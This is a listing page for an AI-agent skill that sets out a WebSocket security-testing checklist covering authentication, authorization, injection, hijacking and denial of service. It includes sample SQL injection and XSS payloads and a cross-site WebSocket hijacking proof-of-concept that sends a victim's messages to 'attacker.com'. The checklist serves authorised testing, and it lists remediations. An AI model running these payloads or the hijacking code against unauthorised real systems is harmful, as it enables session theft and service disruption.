neothecapt/redteamagent/websocket-testing
Claude Code and agent skill by neothecapt/redteamagent
Trust tier 2
- community
Source check pending
Checking that the SKILL.md file is still in the repository.
WebSocket security testing — injection, auth bypass, hijacking
Install
npx vskill@latest install neothecapt/redteamagent/websocket-testingSKILL.md
The same SKILL.md was published earlier as neothecapt/redteamagent/websocket-testing.
WebSocket Security Testing
When to Activate
- Application uses WebSocket connections (
ws://orwss://) - Real-time features: chat, notifications, live updates, trading
Upgrade: websocketobserved in HTTP traffic
Tools
- Burp Suite (WebSocket history + Repeater)
- Browser DevTools (Network → WS tab)
- websocat (CLI WebSocket client)
- OWASP ZAP (WebSocket support)
- Custom scripts (Python websockets library)
Methodology
1. Discover and Map
- [ ] Identify WebSocket endpoints in JavaScript source
- [ ] Check for
ws://(unencrypted) vswss://(TLS) - [ ] Monitor WebSocket handshake headers
- [ ] Map all message types and structures (JSON, binary, text)
- [ ] Document message flow: client→server and server→client
2. Authentication Testing
- [ ] Connect without authentication token — does it succeed?
- [ ] Remove or modify auth token in handshake request
- [ ] Use expired or invalid token
- [ ] Test if auth is checked only at handshake or per-message
- [ ] Replay handshake with stolen cookies/tokens
3. Authorization Testing
- [ ] Send messages intended for other users
- [ ] Subscribe to channels/rooms without permission
- [ ] Modify user ID or room ID in messages
- [ ] Access admin-only message types with user token
- [ ] Test IDOR in WebSocket message parameters
4. Injection Attacks
- [ ] SQLi in message parameters:
' OR 1=1-- - [ ] XSS: inject
<script>alert(1)</script>— check if rendered to other users - [ ] Command injection in server-processed fields
- [ ] NoSQL injection if backend uses MongoDB
- [ ] SSTI in template-rendered message content
5. Cross-Site WebSocket Hijacking (CSWSH)
- [ ] Check if Origin header is validated during handshake
- [ ] Create PoC page on attacker domain:
``javascript var ws = new WebSocket('wss://target.com/ws'); ws.onmessage = function(e) { fetch('https://attacker.com/log?d=' + btoa(e.data)); }; ``
- [ ] Test if victim's cookies are sent with cross-origin WS handshake
- [ ] Verify data exfiltration from victim's session
6. Message Manipulation
- [ ] Modify message content in transit (Burp intercept)
- [ ] Replay previous messages — check for nonce/sequence validation
- [ ] Send out-of-order messages
- [ ] Send malformed/oversized messages — check error handling
- [ ] Binary message tampering
7. Denial of Service
- [ ] Open many concurrent connections — test connection limits
- [ ] Send rapid messages — test rate limiting
- [ ] Send extremely large messages — test size limits
- [ ] Send ping floods
- [ ] Keep connections idle — test timeout enforcement
8. Data Exposure
- [ ] Monitor all incoming messages for sensitive data
- [ ] Check if server broadcasts data meant for other users
- [ ] Test if connection receives other users' events
- [ ] Check for verbose error messages over WebSocket
What to Record
- WebSocket endpoint URL and protocol
- Authentication mechanism (or lack thereof)
- Vulnerability type and proof payload
- Data exposed or action performed
- CSWSH PoC if Origin not validated
- Severity: Critical (data theft, RCE) to Medium (DoS, info leak)
- Remediation: validate Origin, authenticate per-message, rate limit, input validate
Security
- Security scanPassed, 100 of 100Pattern checks on the skill's files.
- Model reviewNot runA model review is scheduled for the next rescan.
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingagent/skills/websocket-testing/SKILL.md
Popularity
- Repository stars
- 70
- Repository forks
- 13
- 7-day trend score
- 21
Stars and forks are for the whole GitHub repository, not this skill alone. Refreshed 24 May 2026, 6 months ago.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Grok Build (Cursor)
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/neothecapt/redteamagent/websocket-testing)